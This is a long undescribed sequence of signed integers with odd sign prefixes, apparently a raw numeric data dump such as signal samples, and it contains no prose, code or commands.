-372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -457 -305 -67 --152 --355 --474 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --423 --271 --33 -169 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 -84 --118 --254 --135 -67 -254 -389 -271 -67 --118 --271 --135 -50 -237 -389 -271 -67 --135 --288 --152 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --338 --474 --322 --84 -118 -288 -406 -271 -50 --169 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -254 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --186 --372 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --50 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --152 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -254 -50 --152 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -50 -237 -372 -271 -67 --118 --271 --135 -67 -254 -389 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -389 -271 -67 --118 --271 --152 -50 -237 -389 -271 -67 --135 --271 --152 -50 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --152 -50 -237 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -0 -186 -322 -203 -16 --186 --338 --220 +-76 +-109 +-71 -16 -169 -305 -203 -0 --203 --355 --237 +38 +80 +114 +76 +21 -33 -152 -305 -186 --16 --220 --372 --237 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-63 -33 -152 -305 -186 --16 --203 --355 --237 +17 +63 +97 +68 +17 -33 -169 -305 -186 -0 --203 --338 --220 --16 -169 -305 -186 -0 --203 --355 --220 --16 -169 -305 -203 -0 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -220 -16 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -372 -491 -322 -101 --135 --322 --457 --305 -67 -135 -305 -440 -305 -84 --135 --305 --440 --271 +-37 +12 +59 +93 +68 +17 -33 -169 -338 -474 -338 -118 --84 --271 --406 --254 --16 -186 -355 -491 -338 -118 --84 --271 --406 --237 --16 -186 -372 -491 -355 -135 --67 --254 --389 --237 -0 -220 -372 -288 -101 --84 --237 --101 -101 -305 -440 -322 -118 --67 --237 --101 -101 -271 -423 -305 -84 --101 --271 --152 -50 -237 -372 -254 -33 --169 --322 --203 -0 -186 -322 -203 -0 --203 --338 --220 --16 -169 -305 -203 -0 --203 --355 --220 --16 -169 -305 -203 -0 --203 --355 --220 --16 -169 -305 -186 -0 --203 --355 --220 --16 -169 -305 -203 -0 --203 --338 --220 --16 -169 -322 -203 -16 --186 --338 --220 --16 -169 -322 -203 -0 --186 --338 --203 -0 -186 -322 -203 -16 --186 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -186 -338 -220 -16 --186 --322 --203 -0 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --288 --169 -33 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --152 --305 --169 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -33 -220 -355 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --135 --271 --152 -50 -237 -389 -491 -338 -101 --118 --305 --440 --288 --67 -152 -322 -457 -322 -101 --118 --288 --423 --271 +-71 +-37 +12 +59 +93 +63 +12 -33 -186 -355 -474 -338 -118 --101 --288 --423 --271 +-71 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 -50 -152 -322 -440 -305 -67 --152 --322 --457 --305 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-88 +-122 -84 -135 -305 -423 -288 -50 --152 --338 --457 --305 --67 -135 -305 -203 -16 --169 --305 --186 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -254 -50 --152 --305 --169 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --338 --474 --322 +-25 +25 +72 +101 +72 +17 +-37 -84 -118 -288 -406 -271 -50 --169 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --50 -152 -322 -457 -305 -84 --118 --305 --423 --271 --50 -169 -338 -457 -322 -101 --101 --237 --118 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -16 -203 -355 -457 -305 -67 --152 --338 --474 --322 --101 -101 -288 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --50 -152 -322 -457 -305 -84 --135 --305 --440 --271 --33 -169 -338 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --118 --254 --135 -67 -254 -389 -271 -67 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -372 -474 -305 -67 --152 --338 --474 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --135 --322 --457 --305 --84 -135 -305 -423 -288 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --271 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -254 -33 --186 --355 --491 --338 --101 -101 -288 -423 -288 -67 --152 --322 --457 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -338 -101 --101 --288 --423 --271 --50 -152 -338 -457 -322 -101 --118 --288 --423 --271 --33 -169 -338 -474 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -67 --118 --271 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --338 --474 --322 --84 -118 -288 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --457 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -322 -457 -305 -101 --101 --254 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --169 -16 -203 -355 -457 -305 -67 --152 --355 --474 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -152 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --423 --271 --33 -169 -338 -474 -322 -101 --118 --305 --423 --254 +-114 +-76 -16 -186 -338 -254 -50 --135 --271 --135 -67 -271 -406 -305 -101 --101 --237 --118 -84 -271 -406 -288 -84 --101 --254 --118 -84 -271 -406 -305 -101 --101 --237 --118 -84 -271 -406 -288 -84 --118 --271 --135 -50 -237 -372 -271 -50 --135 --288 --169 -33 -220 -372 -474 -322 -67 --152 --338 --491 --338 --101 -101 -271 -389 -254 -33 --186 --372 --491 --338 --101 -101 -271 -406 -271 -50 --152 --338 --474 --322 --84 -118 -288 -406 -271 -50 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --457 --288 --50 -152 -322 -220 -33 --152 --288 --152 -50 -254 -389 -271 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -271 -50 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --338 --474 --305 --84 -118 -288 -406 -271 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --305 --440 --288 --50 -152 -338 -457 -322 -101 --118 --288 --423 --254 +34 +76 +110 +76 +21 -33 -186 -355 -491 -355 -135 --84 --254 --389 --237 -0 -203 -372 -491 -355 -135 --84 --271 --406 --254 --33 -169 -338 -457 -322 -84 --135 --305 --440 --288 --67 -152 -322 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -440 -305 -67 --135 --322 --457 --288 --67 -135 -305 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -440 -305 -84 --101 --271 --135 -67 -237 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --338 --474 --305 --84 -118 -288 -406 -271 -50 --169 --338 --474 --305 --84 -135 -305 -440 -288 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -322 -101 --101 --254 --135 -67 -254 -389 -271 -67 --118 --271 --152 -50 -237 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --186 --355 --491 --338 --101 -101 -288 -406 -288 -50 --152 --338 --457 --305 --67 -152 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -305 -84 --135 --305 --440 --271 --50 -152 -338 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -338 -101 --118 --288 --440 --271 --50 -152 -322 -457 -322 -84 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --305 --423 --271 --50 -169 -338 -474 -322 -101 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --118 --288 --423 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --288 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -372 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 